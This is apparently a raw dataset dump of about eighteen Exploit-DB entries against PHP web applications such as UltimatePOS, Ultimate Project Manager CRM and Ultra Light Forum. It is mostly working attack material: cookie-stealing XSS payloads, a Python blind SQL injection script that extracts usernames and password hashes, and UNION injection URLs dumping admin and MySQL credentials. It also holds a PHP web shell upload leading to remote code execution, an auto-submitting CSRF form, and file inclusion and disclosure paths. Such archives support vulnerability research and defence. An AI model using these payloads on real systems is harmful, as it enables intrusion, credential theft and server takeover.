deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22076
Description: Ultimate PHP Board Board 1.0 final Beta - 'viewtopic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-11-08
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/6335/info

Ultimate PHP Board (UPB) is a freely available, open source PHP Bulletin Board. It is available for the Unix and Linux operating systems.

By passing a malicious script code to the viewtopic.php script, UPB may return the script code to the browser of the user visiting the malicious URL. This could lead to the execution of HTML and script code in the security context of the UPB site.

http://example.com/phorum/viewtopic.php?id=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&t_id=2
Exploit-DB #48912
Description: Ultimate Project Manager CRM PRO Version 2.0.5 - SQLi (Authenticated)
Type: webapps
Platform: php
Date: 2020-10-20
Author: nag0mez

Exploit:
# Exploit Title: Ultimate Project Manager CRM PRO 2.0.5 - SQLi Credentials Leakage
# Date: 2020-16-09
# Exploit Author: nag0mez
# Vendor Homepage: https://ultimatepro.codexcube.com/
# Version: <= 2.0.5
# Tested on: Kali Linux 2020.2


# The SQLi injection does not allow UNION payloads. However, we can guess usernames and passwords fuzzing the database.

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
import requests
import sys

# The original vulnerability was found on a server with an invalid SSL certificate,
# which Python could not verify. I added the verify=False parameter to avoid SSL check.
# The lack of verification results in a warning message from Python.
# To get a clean output, we will ignore all warnings.
import warnings
warnings.filterwarnings("ignore")

host = 'https://testurl.test' # Change
url = "{}/frontend/get_article_suggestion/".format(host)

chars = '[PII_REDACTED]abcdefghijklmnopqrstuvwxyz'
hex_chars = 'abcdef[PII_REDACTED]'

def send_payload(payload):
	try:
		response = requests.post(url, data=payload, verify=False)
		content = response.text
		length = len(content)
		return length
	except Exception as e:
		print('Cannot connect to host. Exit.')
		sys.exit(1)
	

def get_first_user():
	found = True
	known = ''

	while found:

		found = False
		for c in chars:
			test = known + c
			payload = {'search': "' or (select username from tbl_users limit 1)like'{}%'-- ".format(test)}
			length = send_payload(payload)

			if length > 2:
				found = True
				known += c
				print(c, end='')
				sys.stdout.flush()
				break

	return known

def get_hash(username):
	found = True
	known = ''

	while found:

		found = False
		for c in hex_chars:
			test = known + c
			payload = {'search': "' or (select password from tbl_users where username='{}' limit 1)like'{}%'-- ".format(username,test)}
			length = send_payload(payload)

			if length > 2:
				found = True
				known += c
				print(c, end='')
				sys.stdout.flush()
				break

	return known


if __name__ == '__main__':
	print('Exploit started.')
	print('Guessing username...')

	username = get_first_user()

	if username != '':
		print('\nUsername found: {}'.format(username))
	else:
		print('\nCould not get username! Exit.')
		sys.exit(1)

	print('Guessing password SHA512 hash...')

	sha = get_hash(username)

	if sha != '':
		print('\nHash found: {}'.format(sha))
	else:
		print('\nCould not get Hash! Exit.')
		sys.exit(1)
Exploit-DB #10578
Description: Ultimate Uploader 1.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-21
Author: Master Mind

Exploit:
==========================================================================

~ Script Name : Ultimate Uploader 1.3
~ Language : php
~ Vendor : http://www.element-it.com
~ Author : Master Mind
~ Home : www.shdowskill.com , www.vbspiders.com

============================================================

Dork : Sorry , I can't do everything for you :(

How To Use : 
http://server/script path/

upload your shell  : Shell.php (Or any extension you want)

Shell Path
http://server/script path/upload/Shell.php

:)

#############################################################################
#  Master Mind sends Greets To :                                                                                                  #
# The Electronic Bomb , Twi[L]ight , R3D EYE , Doom[PS] , Mr.BoOoO , AND ALL MEMBERS :) #
#                                                                                                                                                     #
############################################################################
Exploit-DB #41255
Description: Ultimate Viral Media Script 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy eXtremeViral – Ultimate Viral Media Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-extremeviral-ultimate-viral-media-script/
# Demo: http://eviral.flippyscripts.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/video.php?id=[SQL]
# http://localhost/[PATH]/picture.php?id=[SQL]
-9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword,0x3c62723e494853414e2053454e43414e3c62723e7777772e696873616e2e6e6574),3,4,5,6,7,0x[PII_REDACTED][PII_REDACTED]3a29,9,10,11,12,13,14,15,16+from+admin--
# # # # #
Exploit-DB #6576
Description: Ultimate WebBoard 3.00 - 'Category' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-26
Author: CWH Underground

Exploit:
================================================================================
  Ultimate Webboard (webboard.php Category) Remote SQL Injection Vulnerability
================================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 26 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : Ultimate Webboard 
VERSION     : 3.00
DOWNLOAD    : http://php.deeserver.net/download/get/79/webboard3.0.0.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (webboard.php)
-----------------------------------

$sql="select * from board_data where Category='$Category' order by No DESC";

---------
 Exploit
---------

[+] http://[Target]/[webboard]/webboard.php?Category=[Category'name][SQL Injection]


------
 POC
------

[+] http://[Target]/[webboard]/webboard.php?Category=general'/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),3,4,5,6,7,8/**/FROM/**/mysql.user/**/where/**/user='root


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-26]
Exploit-DB #45253
Description: UltimatePOS 2.5 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-08-25
Author: Renos Nikolaou

Exploit:
# Exploit Title: UltimatePOS 2.5 - Remote Code Execution
# Google Dork: intext:"UltimatePOS" 
# Date: 2018-08-22
# Exploit Author: Renos Nikolaou
# Vendor Homepage: http://ultimatefosters.com/
# Software Link: https://codecanyon.net/item/saas-superadmin-module-for-ultimatepos-advance/22394431
# Version: 2.5
# Tested on: Windows 10
# CVE: N/A
# Description : UltimatePOS 2.5 allows users to upload arbitrary files which 
# leads to a remote command execution on the remote server.

# PoC
# 1) Create a file with the below PHP code and save it as jpg

<?php $cmd=$_GET['cmd']; system($cmd); ?>

# 2) Login to UltimatePOS portal as low priviliage user
# 3) At the left hand side go to Products --> List Products ( http://domain/products )
# 4) Click at the Actions button of a current product --> Edit
# (NOTE: Attack works if you add new product as well)
# 5) Under Product image: click Browse and upload your jpg file containing the PHP code mentioned at step 1. 
# (Make sure to use proxy like Burp, Fiddler etc..etc)
# 6) Scroll Down, click Update and Intercept the request using proxy
# 7) Forward the requests until you reach the from request containing the product details 
# (See the request below) including the filename of the file that you have uploaded.
# 8) Edit the filename from filename.jpg to filename.php and then release the Interception.
# 9) Go to the List Products again (Step 3) and fine the product that you have edited.
# 10) Right click at the Product image and select Copy image Location
# 11) Paste the URL into your browser. Will be similar to: http://domain/storage/img/[PII_REDACTED]_cmd.php
# 12) Verify the exploit: http://domain/storage/img/[PII_REDACTED]_cmd.php?cmd=id


# The request:
===================

POST /products/64 HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain.com/products/64/edit
Cookie: 
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]434
Content-Length: 2868

...

50
----------------------------[PII_REDACTED]434
Content-Disposition: form-data; name="image"; filename="cmd.php"
Content-Type: image/jpeg

<?php $cmd=$_GET['cmd']; system($cmd); ?>

----------------------------[PII_REDACTED]434
Content-Disposition: form-data; name="weight"

pos_confirmed.PNG

...
Exploit-DB #24501
Description: Ultra Light Forum - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-14
Author: cr4wl3r

Exploit:
# Ultra Light Forum Persistant XSS Vulnerability
# By cr4wl3r http://bastardlabs.info
# http://bastardlabs.info/advisories/?id=86
# Script: http://sourceforge.net/projects/ultralightforum/files/
# Tested: Win 7

Description :
Ultra Light Forum developed in PHP and MySQL as a standalone forum with high speed, high user-friendliness. 
User can create, delete topic, can reply to others topic. 
The forum also comes with poll, where user can vote. To know more try UL Forum.

Proof of Concept :
Choose profile settings, and put the messages box with 
<script>alert(document.cookie)</script>
And update your profile
So if any user can view you profile, the script will be execute

Demo:
http://bastardlabs.info/demo/ultraforum1.png
http://bastardlabs.info/demo/ultraforum2.png
Exploit-DB #35633
Description: Ultra Marketing Enterprises CMS and Cart - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-04-19
Author: eXeSoul

Exploit:
source: https://www.securityfocus.com/bid/47421/info

Ultra Marketing Enterprises CMS and Cart is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[Sql Injection]
http://www.example.com/product.php?id=[Sql Injection]
Exploit-DB #39949
Description: Ultrabenosaurus ChatBoard - Cross-Site Request Forgery (Send Message)
Type: webapps
Platform: php
Date: 2016-06-15
Author: HaHwul

Exploit:
<!-- 
# Exploit Title: Ultrabenosaurus ChatBoard - CSRF(Send Message)
# Date: 2016-06-14
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://ultrabenosaurus.ninja/
# Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip
# Tested on: Debian [wheezy]

### Vulnerability Code
-----------------------------------------------------------------------------------------
POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://CSRF_NO_REFERE_CHECK
Content-Length: 8
Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5
Connection: keep-alive

msg=CSRF
### Response
-----------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 14 Jun 2016 01:52:02 GMT
Server: Apache/2.4.10 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

written
-----------------------------------------------------------------------------------------

### Vulnerability Code
-->

<form name="csrf_poc" action="http://127.0.0.1/vul_test/ChatBoard/__original/chat.php" method="POST">
<input type="hidden" name="msg" value="CSRF">
<input type="submit" value="CSRF Attack">
</form>
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
Exploit-DB #39948
Description: Ultrabenosaurus ChatBoard - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-06-15
Author: HaHwul

Exploit:
# Exploit Title: Ultrabenosaurus ChatBoard - Stored XSS
# Date: 2016-06-14
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://ultrabenosaurus.ninja/
# Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip
# Tested on: Debian [wheezy]

### Vulnerability Point
chat.php is not filtering special character
 -> file: ./chat.php
 -> param: msg

### Vulnerability Code
POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/ChatBoard/__original/?chat
Content-Length: 10
Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5
Connection: keep-alive

msg=654<img src="z" onerror=zz>asd
Exploit-DB #9307
Description: Ultrize TimeSheet 1.2.2 - 'readfile()' Local File Disclosure
Type: webapps
Platform: php
Date: 2009-07-30
Author: GoLd_M

Exploit:
Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability
Code page  /actions/downloadFile.php

====
<?php
//** This script performs the actual file download

$fileName = $_REQUEST['fileName']; <--!!
$job_id = $_REQUEST['job_id']; <--!!
$fullFile = $config['upload_dir'].$job_id.'/'.$fileName; <--!!

if (file_exists($fullFile))
{
    header("Content-Type: application/octet-stream");
    header("Content-Length: ".filesize($fullFile));

    header('Content-Disposition: attachment; fileName="'.$fileName.'"');

    readfile($fullFile); <--!!
}
else
{
    header("HTTP/1.0 404 Not Found");
    print "<h1>File not found. </h1>";
    print $fileName;
    print "<hr>Please make sure your file paths are correct: {$config['upload_dir']}/{$job_id}/$fileName}<br />";
}

?>
====

Poc
/actions/downloadFile.php?fileName=../config.php

          .___________..______     ____    ____  ___       _______   
           |           ||   _  \    \   \  /   / /   \     /  _____|  
           `---|  |----`|  |_)  |    \   \/   / /  ^  \   |  |  __    
               |  |     |      /      \_    _/ /  /_\  \  |  | |_ |   
               |  |     |  |\  \----.   |  |  /  _____  \ |  |__| |   
               |__|     | _| `._____|   |__| /__/     \__\ \______|   
                                                             
       ___       ______     ___       _______   _______ .___  ___. ____    ____   
      /   \     /      |   /   \     |       \ |   ____||   \/   | \   \  /   /   
     /  ^  \   |  ,----'  /  ^  \    |  .--.  ||  |__   |  \  /  |  \   \/   /    
    /  /_\  \  |  |      /  /_\  \   |  |  |  ||   __|  |  |\/|  |   \_    _/     
   /  _____  \ |  `----./  _____  \  |  '--'  ||  |____ |  |  |  |     |  |       
  /__/     \__\ \______/__/     \__\ |_______/ |_______||__|  |__|     |__|  

# milw0rm.com [2009-07-30]
Exploit-DB #9297
Description: ultrize timesheet 1.2.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-07-28
Author: NoGe

Exploit:
=====================================================================================


  [o] Ultrize TimeSheet 1.2.2 Remote File Inclusion Vulnerability

       Software : Ultrize TimeSheet version 1.2.2
       Vendor   : http://www.ultrize.com/
       Download : http://www.ultrize.com/timesheet/download/timeSheet-20080505.zip
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=====================================================================================


  [o] Vulnerable file


       include($config['include_dir'].'timesheet.class.php');

        include/timesheet.php



  [o] Exploit

       http://localhost/[path]/include/timesheet.php?config[include_dir]=[evilc0de]


=====================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

        
=====================================================================================

# milw0rm.com [2009-07-28]
Exploit-DB #37459
Description: Umapresence - Local File Inclusion / Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2012-06-25
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54194/info

Umapresence is prone to a local file-include vulnerability and an arbitrary file-deletion vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit a local file-include vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Attackers can exploit an arbitrary file-deletion vulnerability with directory-traversal strings ('../') to delete arbitrary files; this may aid in launching further attacks.

Umapresence 2.6.0 is vulnerable; other versions may also be affected. 

http://www.example.com/umapresence/umaservices/uma_editor/inc/insert_doc.pop.php?dos=../../style
Exploit-DB #44988
Description: Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-07-09
Author: Ahmed Elhady Mohamed

Exploit:
######################
# Author Information #
######################
Author : Ahmed Elhady Mohamed
twitter : @Ahmed__ELhady
Date : 01/07/2018
########################
# Software Information #
########################
Affected Software : SeoChecker Umbraco CMS Plug-in
Version: version 1.9.2 
Software website  : https://soetemansoftware.nl/seo-checker

###############
# Description #
###############
SeoChecker Umbraco CMS Plug-in version 1.9.2 is vulnerable to stored cross-site scripting vulnerability in two parameters 
which are SEO title and SEO description HTML parameters fields. A low privilege authenticated user who can edit the SEO tab
parameter value for any Ubmraco CMS content like an article will be able to inject a malicious code to execute arbitrary HTML
and JS code in a user's browser session in the context of an affected site. so when a high privilege user tries to access/edit 
the article content. the JS code will be executed. The vulnerabilities are tested on 1.9.2 version and Other versions may also be affected.


#################
# Exlpoit Steps #
#################
1- Access the application with a low privilege authenticated user
2- Go to the SEO tab for any article
3-Enter the following payload in SEO title and SEO description HTML parameters fields parameters 
"><script>alert(123)</script>
4- Access the article content page to edit and change contents value.  
5- The JS code will be executed.
Exploit-DB #7439
Description: Umer Inc Songs Portal Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-12
Author: InjEctOr5

Exploit:
 
                          ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
 
 
<<!>> Found by  :  Fisher
 
<<!>> C0ntact : sq7@w.cn
                    
<<!>> Groups : InjEctOr5 T3am  
 
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
 
 
<<->> script   : Songs Portal
 
<<->> download : www.umerinc.com/songs_portal.php
 
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    :  ;)
 
<<->> Exploit :>>>
 
    :>>  http://www.site.com/albums.php?id=16+union+select+1,concat(username,0x3a,password),3,4,5+from+admin--
 
 
 
 Demo :
 
 http://www.umerinc.com/portfolio/aamir/albums.php?id=16+union+select+1,concat(username,0x3a,password),3,4,5+from+admin--
 
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> HCJ,Sniper_Net,broken security ,Cyb3r-1sT & all friends

# milw0rm.com [2008-12-12]
Exploit-DB #30657
Description: UMI CMS - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-11
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/26033/info

UMI CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/search/search_do/?search_string=%22%20onmouseover=%22javacript:alert()